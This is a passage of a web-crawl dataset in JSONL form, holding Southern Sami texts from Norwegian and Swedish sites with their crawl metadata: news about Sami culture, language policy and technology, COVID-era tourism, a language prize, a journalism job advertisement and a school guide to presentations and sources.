stååkedidh.","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/saernieh.no\/bievnesh-maanagierte-eejhtegidie\/","date":"2020-06-03T00:16:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347426956.82\/warc\/CC-MAIN-20200602224517-20200603014517-00181.warc.gz","language":"sma","language_score":1.0000053644,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000053644180298}","num_words":311,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.071,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gaskevåhkoen, snjaltjen 1. biejjien Erzscheidergaarden vihth rïhpeste. Barkijh Erzscheidergaarden:sne jiehtieh giesie doekoe gellie almetjh edtjieh båetedh jijjedidh.\n-Gaskevåhkoen raejeste mijjieh Erzsheidergaarden rïhpeste juktie dellie gaajhkesh dovnesh leah bååstede barkose båeteme. Mijjieh daejrebe gellie turisth båetieh jijjedidh jïh dellie tjoerebe vihth rïhpestidh, fïerhtenbeajjetje åvtehke Erzscheidergaarden:sne jïh Vertshuset:sne, Connie Hjelmseth jeahta.\nDaenbien barkijh tjåanghkenin rïhpestimmiem soejkesjidh, Hjelmesth jeahta.\n-Daenbien voestes tjåanghkoe gusnie gaajhkesh dovnesh ektesne. Daelie naakenh edtjieh bïssedh jïh gaskevåhkose illedh, jïh jurjiehtæjja edtja aeredsbeapmoealternatijide goerehtidh juktie ibie edtjh buffet utnedh. Mijjieh åehpies aeredsbeapmoen dïehre jïh gegkestibie buektiehtibie njaelkies aeredsbeapmoem hoksehtidh. Njaelkies laejpieh Trygstad:ste jïh aaj onnetje baahke beapmoe, dïhte jeahta.\nHjelmseth jeahta onnetje gïjre orreme, mohte almetjh leah jienebe fealadamme goh voestegh bïlli.\n-Rovnegs tsiehkie orreme, jïh geerve orreme juktie mijjieh tjoerin gellie barkijh permittereradidh. Vuejnebe gellie almetjh sijhtieh fealadidh jïh daate tsiehkie buerebe orreme goh voestegh ussjedin. Suehpeden 4. biejjien Vertshuset rïhpesti, mohte dillie åadtjoejin 23 tjïehtjelh 38 tjïhtjelistie rïhpestidh, jïh åadtjoejin barre aeredsbeapmoem hoksehtidh. Mohte bearjadahken raejeste åadtjobe abpe Vertshuset rïhpestidh jïh aaj åadtjobe gaskebiejjiebeapmoem hoksehtidh, dïhte jeahta.","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/saernieh.no\/daelie-turisth-maehtieh-diekie-baetedh\/","date":"2020-07-03T19:49:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655882934.6\/warc\/CC-MAIN-20200703184459-20200703214459-00566.warc.gz","language":"sma","language_score":0.9999970198,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999970197677612}","num_words":166,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.084,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gaajh njuajjan sjïdtimh juktie tjoerimh dan jaepien festivaalem hiejhtedh Covid-19:n dïehre, jïh dah restriksjovnh mah dïsse tjåavoeh. Raasten rastah gaskenasjovneles festivaale mij edtja kultuvreles jïh sosijaale råakedimmiesijjine Saepmesne årrodh. Ståvroen mietie ij gåaredh Raasten [...]\nAajege – Samisk språk- og kultursenter på Røros har i samarbeid med Sørsamisk helsenettverk og Sametinget gleden av å invitere deg til samisk helsekonferanse på Røros. Onsdag 28. og torsdag 29. oktober 2020 Røros Hotell på Røros Samisk helsekonferanse er den viktigste møteplassen for [...]\nAajegen kontovresijjie Rörosen jåarhkeskuvlesne jïh Tröndelaagen jïh Innlanden fylhketjïelth jïh Plassjen tjïelte Aajegem eekieh. Aajege gieltegs saemien barkoesijjie jïh maahtoebyjrese, mietiebïegkesne gelline gieltegs barkoe- jïh evtiedimmielaavenjassigujmie. Mijjen luvnie [...]","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/aajege.no\/sma\/author\/toini-bergstrom\/","date":"2020-08-08T16:56:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439738015.38\/warc\/CC-MAIN-20200808165417-20200808195417-00063.warc.gz","language":"sma","language_score":0.988936305,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9889363050460815, \"sme_Latn_score\": 0.010943053290247917}","num_words":102,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.177,"stopwords_ratio":0.088,"flagged_words_ratio":0.0,"lang_id_score":0.995,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Njieljie orre saemien noerh leah saemien tsïegline skuvlejaapan 2020\/2021 veeljesovveme. Márkomeannun alternatijve festivaalehïeljesne SALT:sne, Oslovisnie snjaltjen 24. biejjien ts. 19:30 åadtjobe daejredh gïeh dah orre saemien tsïeglh leah\nJaepien minngelde Aina Nordfjell, Inga Solberg Åhrén, Håkon Mudenia jïh Maila Risten Bongo Dikkanen edtjieh orrijidh saemien tsïeglh årrodh. Dah orre saemien tsïeglh leah luhkietjïjhtjeden boelhke saemien tsïegle-öörnegisnie.\n-Manne joekoen gæjhteles daan jaepien åvteste, jïjnjem damteme jïh lïereme. Daate jaepie joekoen sjïere orreme juktie gaajhkh fealadimmieh skuvlide idtjin sjidtjh koronavijrusen gaavhtan, mohte libie digitaale buerkiestimmieh åtneme. Tsïeglejaepie lea vielie goh barre fealadimmie, Maila Risten Bongo Dikkanen jeahta, saemien tsïegle skuvlejaepesne 2019\/2020.\nGïeh dah orre saemien tsïeglh leah åadtjobe SALT Art&Music:sne Oslovisnie daejredh. Márkomeannu alternatijve festivaale Oslovisnie öörnie, gusnie 200 almetjh maehtieh festivaalem dåeriedidh, juktie staeries festivaale ij sjïdth. Rektovre Sámi Allaskuvla, Laila Susanne Vars jïh staatetjaelije Maahtoedepartemeentesne Anja Johansen edtjijægan bæjjoehtimmiem dåeriedidh.\nBæjjoehtimmien mænngan dah bakeries tsïeglh edtjieh festivaalelïhtsegidie konseertejijjen bijjelen vaedtsiehtidh. Bearjadahken Marja Mortenson, Kajsa Balto jïh DJ iDJa & Åvla edtjieh spealadidh. Laavadahken dah orre tsïeglh edtjieh stamma darjodh, jïh dellie KEiiNO jïh DJ Niilas edtjijægan spealadidh.\n-Ibie daejireh ennje gïeh dah orre tsïeglh leah, mohte Oslovisnie edtjebe dejgujmie årrodh. Laavadahken gosse dah edtjieh konferansieride årrodh, mijjieh edtjebe dejtie viehkiehtidh jïh raeriestidh, Håkon Mudenia jeahta, saemien tsïegle skuvlejaepesne 2019\/2020.\nDorjehtimmie noereste noerese. Saemien tsïeglh-öörnege leah jaepien 2004 minngelden gååvnesamme. Sámi Allaskuvla daam öörnegem stuvrie jïh Kommunaale- jïh orrestehtemedepartemente prosjeektem dårje. Tjakten saemien tsïeglh studijem «Samisk kultur- og samfunnskunnskap» luhkieh. Dan mænngan ovmessie jåarhkeskuvlide Nöörjesne fealadieh jïh saemien kultuvri bïjre leerehtieh.\nSápmi Allaskuvla nasjovnaale njoelkedassh jïh restriksjovh hulkie. Iktegisth mijjieh eensilaakan vierhtiedimmieh healsoebyjjesfaamoen raerien mietie darjoeh. Juktie suetie Oslovisnie jïh Nöörjesne vearrebe sjædta, ibie maehtieh bæjjoehtimmie naemhtie darjodh. Mijjen leah alternatijve soejkesjimmieh bæjjoehtæmman jis tjoerebe bæjjoehtimmiem jeatjahdehtedh, Anne Britt Klemetsen Hætta jeahta, institutteåvtehke Sámi Allaskuvlesne.","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/saernieh.no\/gieh-dah-orre-saemien-tsieglh-leah-aadtjobe-saltsne-oslovisnie-daejredh\/","date":"2020-08-04T05:41:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439735860.28\/warc\/CC-MAIN-20200804043709-20200804073709-00407.warc.gz","language":"sma","language_score":0.9997971654,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9997971653938293}","num_words":286,"character_repetition_ratio":0.084,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.115,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gosse datne galkh håalodh jallh åehpiedehtedh dellie datne bïevnesh aamhtesen bïjre vadtah goltelæjjide. Buerie viehkiem åadtjoeh retorihken appelle-hammojste jïh ovmessie boelhketjijstie retorihken barkoe-vuekine.\nÅehpiehdehtedh\nBarkoe- jïh jieleme-suerkine daamhtaj barkijh edtjieh maam akt åehpiedehtedh, vuesiehtimmien gaavhtan ryökneme-taalh jallh orre dorjesem. Sïejhme ovmessie teknihken viehkie-dïrregh nuhtjieh åehpiedehtiemisnie.\nSkuvlesne mijjieh vuesiehtimmien gaavhtan åehpiedehtebe gosse daaj learoesoejkesjen ulmiejgujmie barkebe:\n- retorihkeles jïh digitaale tjiehpiesvoeth nuhtjedh juktie darjodh jïh åehpiedehtedh tjåanghkan bïejeme tjaalegh\n- aktem gaertjiedamme lidteræære programmem tjåanghkan bïejedh jïh dam åehpiedehtedh\nHåalodh\nGosse datne edtjh håalodh, dellie daamhtaj tjoerh eensilaakan håaleminie barkedh, dovne gïeleldh jïh guktie håalemem bigkedh. Lissine tjoerh aamhtesem sagke veelebe gïetedidh enn gosse edtjh åehpiedehtedh.\nÅvte-barkoe vihkeles\nJis datne galkh åehpiedehtedh jallh håalodh dellie tjoerh eensilaakan ryöjredidh. Datne jearsoes damth gosse sisvegem maahtah, jïh maahtah fokusem utnedh mij vihkielommes.\nUssjedimmie-boelhke\nDaennie boelhkesne golme vihkeles tsiehkieh jïh åvtelen aalkah barkedh, tjoerh daejtie golme tsiehkide tjïelkestidh:\n- Mij lea dov aamhtese\/teema?\n- Gïeh dov goltelæjjah?\n- Maam sïjhth åehpiedehtiemisnie soptsestidh?\nJis datne dejtie tsiehkide eensilaakan ussjedamme dellie aelhkebe daejredh maam edtjh jiehtedh.\nDov aamhtese\/teema\nDatne daajrah mij dov laavenjasse? Daajrah man jïjnjh faageles bïevnesh datne tjoerh meatan vaeltedh åehpiedehtemisnie, jïh mah bielieh aamhtesistie datne tjoerh gïehtjedidh? Jallh åadtjoeh laavenjassen sisvegem veeljedh? Jis ih daejrieh, gihtjh dov faage-lohkehtæjjam guktie datne maahtah aamhtesem gaertjiedidh.\nDov goltelæjjah\nDatne edtjh maam akt goltelæjjide soptsestidh. Jis datne ånnetji dov goltelæjjaj bïjre daajrah, dle ussjedh: Man jïjnjh aamhtesen bïjre dov goltelæjjah daejrieh? Datne edtjh maanide, noeride, geerve almetjidie jallh voeresidie soptsestidh? Maam tjoerh krööhkestidh?\nMij åehpiedehtemen aajkoe?\nMaam datne sïjhth goltelæjjide soptsestidh? Datne sïjhth saakeles bïevnesh buektedh? Datne edtjh raerieh vedtedh jallh maam akt bïhkedidh? Utnieh tjïelkes ulmiem mearan åehpiedehtieminie barkh.\nBïevnese-gaaltijh\nGellie bïevnese-gaaltijh gååvnesieh mejstie maahtah veeljedh gosse bïevnesh laavenjassese daarpesjh:\nFaage-almetjh\nGihtjh faage-almetjh mah dov bïjre, lohkehtæjjah, gærjagåetie-barkijh jïh jeatjah faage-almetjh. Dah maehtieh nuhteligs bïevnesh dutnjien vedtedh jïh aaj viehkiehtidh gusnie datne maahtah vielie bïevnesh ohtsedidh.\nLearoe-gærjah\nLearoe-gærjah – dovne trygkesovveme jïh digitaale – leah daamhtaj sjïehtedamme sjïere learoe-soejkesjasse. Dellie maahtah sjyöhtehke bïevnesh gaavnedh dov learoe-gærjine. Lissine maahtah bïevnesh jeatjah gaaltijijstie nuhtjedh.\nFaage-gærjah\nFaage-gærjine datne nuhteligs bïevnesh aamhtesen bïjre gaavnh. Naan faage-gærjah leah studeentide universiteetesne jallh faage-almetjidie tjaaleme jïh kaanne gïerve baakoeh jïh dïejvesh utnieh. Vuarjesjh mejtiegærjah dutnjien sjiehtieh. Gærjah aaj lohkijidie gååvnesieh mah ïedtjeles aamhtsesne, men eah leah faage-almetjh. Dagkeres gærjah daamhtaj aelhkebe gïelem utnieh.\nLeksikovnh\nOvmessie såarhts leksikovnh hijven sjiehtieh gosse datne edtjh bïevnesh aamhtesen bïjre ohtsedidh. Faage-almetjh leksikovne-artihkelidie tjaelieh, jïh artihkelh jïjnjh bïevnesh utnieh vaenie baakoejgujmie. Dan gaavhtan artihkeli sisvege maahta gïerve guarkedh. Jis datne tjïelkestimmiem akten baakose ohtsedh, dellie buerebe baakoe-gærjam nuhtjedh.\nAvijsh, plaerieh jïh aske-plaerie\nBïevnesh avijsine jïh plaerine leah aelhkie guarkedh jïh lohkedh. Journalisth åenehkslaakan jïh aelhkieslaakan tjaelieh jïh tjuerieh varke barkedh. Dan gaavhtan fiejlieh maehtieh båetedh dejnie teekstine. Lissine aaj kaanne ajve akte vuajnoe artihkelisnie.\nAske-plaerine jïh sjïere-plaerine datne veelebe gïetedimmiem gaavnh aktede teemeste. Aske-plaeriej tjaelijh estieh eensilaakan tjaeledh jïh hijven åvte-daajroem teeman bïjre utnieh.\nBrosjyrah, gærjetjh jïh jeatjah bïevnese-materijellh\nStaaten, fylhkentjïelten jïh tjïelten reeremh, jïh doh jeantjommes byögkeles jïh privaate siebrieh, bïevnesh bæjkoehtieh goh gærjetjh jïh brosyjrah. Dah daamhtajommes namhtah jïh lohkijh eah daarpesjh åvte-maahtoem utnedh. Daan biejjien datne maahtah aaj jïjnem bïevnesijstie gaske-viermesne gaavnedh.\nGaske-viermie\nDatne maahtah jïjnjh bïevnesh gaske-viermesne gaavnedh, jïh jïjnje dejstie nuhteligs. Men ij leah naan bijjemes orgaane mij kvaliteetem nedtesne gïehtjede. Dan gaavhtan datne tjoerh iktegisth vuarjasjidh mejtie bïevnesh leah jaahkods.","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181819\/resource:836aad2c-2a4f-47a1-b4f5-7f6a71e16444","date":"2020-08-11T16:36:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439738816.7\/warc\/CC-MAIN-20200811150134-20200811180134-00560.warc.gz","language":"sma","language_score":1.0000076294,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000076293945312}","num_words":541,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.094,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saetniesvoeth saemien gïeli bïjreDoh saemien gïelh mah jeenjemes åtnasuvvieh daan biejjien leah noerhtesaemien, julevsaemien jïh åarjelsaemien. Pijtesaemien jïh luvliesaemien leah aktene orrestimmieboelhkesne Nöörjesne. Gaskenasjonaale ektiedimmesne gaajhkh saemien gïelh leah gohtjesovveme håvhtadihks, itjmies håvhtadihks jallh mahte nåhkehtamme gïelh. Saemien gïelh leah vaarjelamme gaskem jeatjah daejstie laakijste, ILO-konvensjovne169, Nöörjen maadthlaake, Sijjienommelaake, Saemielaaken gïelenjoelkdassh Nöörjesne jïh ööhpehtimmielaaken tjïrrh. Gaskenasjonaale suerkesne saemien gïelh leah vaarjelamme gaskem jeatjah noerhtelaanti gïeledeklaraasjovneste jïh European Charter for Regional and Minority Languages. Vuartesjh jienebh saetniesvoeth saemien gïeli bïjre gaskeviermiesæjrosne Store norske leksikon.","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/sametinget.no\/giele\/saetniesvoeth-saemien-gieli-bijre\/","date":"2020-10-30T16:43:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107911027.72\/warc\/CC-MAIN-20201030153002-20201030183002-00624.warc.gz","language":"sma","language_score":0.9999915361,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999915361404419}","num_words":83,"character_repetition_ratio":0.096,"word_repetition_ratio":0.0,"special_characters_ratio":0.12,"stopwords_ratio":0.205,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien gïelh gïeleutnijh daarpesjieh, jïh eadtjohke gïeleutnijh daajbaaletje viehkiedïrregh daarpesjieh daatovrasse, nedtese jih mobijle ektievoetide.\nDivvun-prosjekte Divvun- jïh soptsesesyntese noerhtesaemien gïelese leah gåabpegh vihkeles gïeleprosjekth mah don baelien tseegkesovvi Saemiedigkeste, men mah daelie leah sertiestovveme UIT Nöörjen Arktiske Universiteetese. Saemiedigkie laavnejostoe prosjekti bïjre mah joe gååvnesieh jïh orre prosjekti bïjre juktie låhkoem jïh kvaliteetem teknologeles gïeledïrregijstie lissiehtidh.\nDigitaale gïeledïrregh\nDovne Giellatekno jïh Divvun gellie nuhteligs gïeledïrregh saemien gïelide utnieh.\nDatne dovne nuhteligs gïeledïrregh nuhteligs gïeledïrregh saemien gïelide jïh saemien saemien nedtebaakoegærjah gaavnh.\nDaesnie saemien tastatuvrh jïh væhtakodah gaavnh:\nTastatuvrh mobijletellefovnide\nTastatuvrh daatovridie\nSaemien reaktatjaelemedïrregh:\nDivvunen sæjrojne saemien reaktatjaelemedïrregh gaavnh, ovmessie tjaelemeprogrammide jïh operatijvesysteemide.\nAajhterevoetelatjkoe\nSaemiedigkien direktööre Rune Fjellheim jïh UiT Nöörjen arktiske universiteeten direktööre Jørgen Fossland aajhterevoetelatjkoem jïh aalkoereaktam saemien gïeleteknologijese jååhkesjin goeven 12.b. 2019 Saemiedigkien jïh UiT Nöörjen arktiske universiteeten gaskem.\n– Saemiedigkien jïh saemien åålmegen bieleste manne geerjene mijjieh latjkoen bïjre seamadamme daelie. Dïhte håksa saemien åålmege annje aajhterevoetem åtna gaaltijekodese mænngan UiT Nöörjen arktiske universiteete dïedtem åadtjoeji saemien gïeleteknologijebarkoen åvteste 2011. Manne joekoen garmeres destie maam buektiehtamme suerkien sisnjelen, dehtie raejeste Saemiedigkie barkoem eelki aareh 2000-låhkoen, jalhts vaenie vierhtieh jih jïjnje orre barkoe. Annje jïjnje barkoe aajmene åvtelen aaj saemien gïelh ellies gïeleteknologeles vuekieh åtna. Manne hijven laavenjostose aavodem åvtese, Saemiedigkiedirektööre Rune Fjellheim jeehti latjkoejååhkesjimmien sjïekenisnie.\nLohkh aajhterevoetelatjkoem UiT Nöörjen arktiske universiteeten jïh Saemiedigkien gaskem (PDF, 2 MB)","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/sametinget.no\/giele\/gieleteknologije\/","date":"2020-10-30T16:59:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107911027.72\/warc\/CC-MAIN-20201030153002-20201030183002-00058.warc.gz","language":"sma","language_score":0.9999681711,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999681711196899}","num_words":217,"character_repetition_ratio":0.094,"word_repetition_ratio":0.0,"special_characters_ratio":0.128,"stopwords_ratio":0.171,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gie uvtedh Saemiedigkien gïeleskreejremeåasam 2021 åadtjodh?Gie jallh mij galka Saemiedigkien gïeleskreejremeåasam åadtjodh? Sjïere almetje jallh sïelte, prosjekte jallh organisasjovne, mij jïjnjem barkeme nænnoestimmine, evtiedimmine jïh vaarjelimmine saemien gïeleste maahta dam åadtjodh. Saemiedigkie åasam vadta fïerhten njealjeden jaepien. Åasa lea 50.000 ,- kråvnah jïh tjeahpoediplome. Gaajhkesh maehtieh raeriestidh gie jallh mij byöroe gïeleskreejremeåasam vitnedh. Tjaelieh åenehks tjaalegem dov raeriestimmien bïjre jïh seedth dam Saemiedigkien gïelegoevtesasse voerhtjen 30. b. åvtelen. Saemiedigkieraerie mierede gie åasam åådtje. Gïeleskreejremeåasa vitnijasse vadtasåvva Saemiedigkien stoerestjåanghkosne ruffien. Seedth raeriestimmide diekie: email@example.com Ih gåaredh åasam vedtedh Saemiedigkien lïhtsegidie jallh reeremasse. Evtebe vitnieh gïeleskreejremeåasa lea Divtasvuonen eejteghdåehkie 2000:sne, Skánien gieledåehkie 2001:sne, Harry Solhaug Gáivouneste 2002:sne, Sagka Stångberg Dearneste 2009:sne, Iŋgor Ántte Ánte Mihkkal\/Ánte Mikkel Gaup Guovdageaidnuste 2013:sne jïh Jane Astrid Juuso Unjárggeste 2017:sne. ArtikkelPublisertDatoFront30.03.2021 07.45 SistEndret20.04.2021 12.51","id":"","dump":"CC-MAIN-2021-17","url":"https:\/\/sametinget.no\/saernieh\/gie-uvtedh-saemiedigkien-gieleskreejremeaasam-2021-aadtjodh.13928.aspx","date":"2021-04-22T13:28:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618039610090.97\/warc\/CC-MAIN-20210422130245-20210422160245-00597.warc.gz","language":"sma","language_score":0.9993558526,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9993558526039124}","num_words":121,"character_repetition_ratio":0.109,"word_repetition_ratio":0.0,"special_characters_ratio":0.186,"stopwords_ratio":0.066,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Noerh aajhtoeprieviem åadtjoeji\nMåantan noereorganisasjovne Natur og Ungdom aajhtoeprieviem åadtjoeji. Akten asken Natur og Ungdom lea gruvasïelten Nussir ASA vööste demonstrereme. Dah noerh leah årroehsijjesne Repparfjorden lïhke årroeminie. Dïhte gie prieviem tjeeli sïjhti aktivitsth edtjieh demonstrasjovnem laehpedh. - Daate aamhtese nænnoes domtesh jïh jeatjah mïelh gååske, minngebe åejvie Natur og Ungdom:sne, Lea Justine Nesheim jeahta.","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/www.nrk.no\/sapmi\/aaarjelsaemiengielesne\/","date":"2021-07-29T10:11:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046153854.42\/warc\/CC-MAIN-20210729074313-20210729104313-00340.warc.gz","language":"sma","language_score":0.9999607801,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999607801437378}","num_words":54,"character_repetition_ratio":0.108,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.074,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Reportere SVT Saepmie, sæjjasadtje-barkoe\nSïjhth barkoem utnedh gusnie saemieh jïh Saepmie jarngesne, gusnie nöörh fïerhten biejjien dovne saemiestidh jïh saemiengïelesne tjaeledh. Dellie maa daate barkoe maaje dutnjien!\nSVT Saepmesne 15 barkijh. Mijjen stoerre dajve vaaksjodh Sveerjesne jïh vaaksjobe aaj aalkoealmetji-aamhtesh abpe veartanisnie. Mijjen biejjieladtje barkoe lea saernieh darjodh dovne onlinesne jïh tv-saadtegidie. Mijjieh NRK- jïh YLE Saepmien ektine barkebe jïh aaj lïhke ektiebarkoem Sveerjen Raadijovinie, Saemieraadijove.\nDaelie reporterem ohtsebe mij maahta guvviedidh jïh redigeradidh, jïh maahta guvviegujmie bïhkedidh dovne åenehks jïh guhkebe formatesne. Datne lea eadtjohke jïh ïedtjh åtnah dam saemien redaksjovnen faaleldahkh evtiedidh gusnie saemien vuartasjæjjah jarngesne. Daate sæjjasadtje barkoe lea, juktie daan barkoen barkije edtja maanadovvedh.\nBarkoen bïjre\nDatne edtja uvtemes reporterinie barkedh, saemien saernie-programmesne, Ođđasat jïh mijjen gaskeviermie sæjrosne, mohte aaj sosijaale meedijinie barkedh. Datne edtjh maehtedh reportaasjh åssjaldahkeste jïh riejries reportaasjem buektedh, menh edtjh maehtedh reporterinie, guvviedæjjine barkedh jallh redigerinie dellie goh dïhte daerpies. Tjoerh maehtedh guvviedidh dovne stille-guvvieh jïh filmedh, jïh aaj redigeradidh. Datne edtjh maehtedh dovne stuerebe kamerinie jïh mobijline guvviedidh.\nBarkosne daerpies aaj online- vierhtiejgujmie barkedh jïh daam maahtoem vierhtiedibie. Jeatjah laavenjassh maahta aaj barkose bïejesovvedh. Maahta naemhtie sjïdtedh tjoerh saemien programmigujmie aaj barkedh jallh mejnie jeatjah mijjen platformesne. Vierhtiedibie maahtah guhkebe barkoeh aaj guvviedidh jïh redigeradidh. Daennie barkosne tjoerh aaj fealadidh, dovne guhkebe jïh åenebe fealadimmieh, dan åvteste mijjen stoerre dajve vaaksjodh.\nDov våarome\nDïhte guhte barkoem åådtje tjuara saemiengïelem maehtedh, dovne njaalmeldh jïh tjaaleldh. Daajroem saemien seabradahken bïjre, dan histovrijem jïh kultuvrem aaj. Lissine utnebe nuhteligs seabrahkedaajrojne jïh leah eadtjohkes. Hijven hov jis datne aerebe journalistihkine barkeme vg. tjaaleme, guvviedamme jïh redigeradamme. Datne edtjh eadtjohkeslaakan barkedh dovne saerniegujmie jïh gïengielåbpoe journalistihkine. Datne ïedtjeles, fleksijbeles, jïh maahtah nuepide vuejnedh dej joekehth tsiehkine.\nSVT Saepmie pryövoe dejtie programmide båetije beajjan evtiedidh, jïh daesnie datne vihkeles sjïdth. Barkosne barkoegoere, guktie maahta barkoe iehkedi jïh hïeljide aaj sjïdtedh.\nDaerpies hov vuejeme-kåarhtem utnedh.\nDaate lea sæjjasadtjebarkoe.\nJïjtjehke redaksjovne lea Gironisnie, menh reporteerh utnebe dovne Luleåsne jïh Stuehkesne. Mijjieh utnebe hijven jis reporteerh gaajhken lehkesne utnebe, dan gaavhtan maehtieh gaajhkesh dovnesh dam barkoem ohtsedh. Latjkebe barkoesijjien bïjre.\nJis sïjhth vielie dan barkoen bïjre govledh, bïeljelh dle redaksjovneåejviem Linda Hermansson SVT Saepmesne, 070 2545400. Gyhtjelassh fackese, bïeljelh dle Anna- Karin Niiam SJF:ste jïh Maria Fornemo, 08-784 00 00 (vxl) Unijovneste.\nBuerie båeteme ohtseminie åvtelen gålkoen 15-n biejjien. Aalkoe tsïengelen\/ orre jaepien asken 1 biejjien.\n- Charlotta Friborg, ansvarig utgivare och programchef på SVT Nyheter, tilldelas organisationen Utgivarnas Mommapris 2021 för att hon \"i ett hårt debatt... Nyhet\n- Hur vet man vad som är sant eller falskt på nätet, eller om man kan lita på en nyhet? Fria ordets dag är en digital liveshow som fördjupar dessa teman... Nyhet\n- SVT:s vd kommenterar nytt förslag om produktionsincitament för film- och tv-produktioner. Nyhet\n- Varje år delar Föreningen Grävande Journalister (FGJ) ut guldspadar för den bästa undersökande journalistiken från året som varit. I år tävlade 28 grä... Nyhet\n- SVT öppnar ny redaktion i Flemingsberg och förstärker bevakningen av Södertörn. Ett av SVT:s viktigaste uppdrag är att rapportera från hela Sverige. D... Nyhet\n- SVT Språkplay är en app som gör det möjligt för den som håller på att lära sig svenska att ta del av SVT:s utbud och använda det för att utöka sitt or... Nyhet","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/omoss.svt.se\/arkiv\/nyhetsarkiv\/2019-11-06-reportere-svt-saepmie-saejjasadtje-barkoe.html","date":"2021-09-24T07:21:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057504.60\/warc\/CC-MAIN-20210924050055-20210924080055-00442.warc.gz","language":"sma","language_score":0.9999642372,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999642372131348}","num_words":523,"character_repetition_ratio":0.043,"word_repetition_ratio":0.0,"special_characters_ratio":0.167,"stopwords_ratio":0.103,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelieh gærjasaernieh Ih leah tjaangeme men nommehthbaakojne daelie tjaalah. Dov tjaalege jeatjah byjjebasse åtnoenommine vuesiehtåvva. Dov tjaalege jeatjah byjjebasse åtnoenommine vuesiehtåvva: BoHiT Q Tjaangedh Jallh Åtnoekonto darjoeh Åtnoekonto darjoeh Gærjan tihtele * Tjaelije * Gærja sjeahta: -- Veeljh -- 0-3 3-6 6-9 9-12 12-15 15+ Tjaelieh man bïjre gærja lea * Maam gærjan bïjre tuhtjih? Veeljh gïelem Svenska Meänkieli Julevsámegiella (Lulesamiska) Åarjelsaemiengïele (Sydsamiska) Davvisámegiella (Nordsamiska) Bidumsámegiella (Pitesamiska) Ubmejesámiengiälla (Umesamiska) Sjangere Luste jïh skaadtjoehsoptsesh Gieltegs jïh heamture Ïskeres jïh voejkenes Gieriesvoete jïh vïenesvoete Åavtoe jïh murrie Geerve jïh dagkerh Sporte Saatnan Åvtesne Aarkebeajjetje Vaajesh Dyjrh Vöörhkh gærjasaerniem Seedth gærjasaerniem","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/www.polarbibblo.se\/sma-se\/tjaeledh\/tjaelieh-gaerjasaernieh\/","date":"2021-10-26T21:56:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323587926.9\/warc\/CC-MAIN-20211026200738-20211026230738-00390.warc.gz","language":"sma","language_score":0.9989792109,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 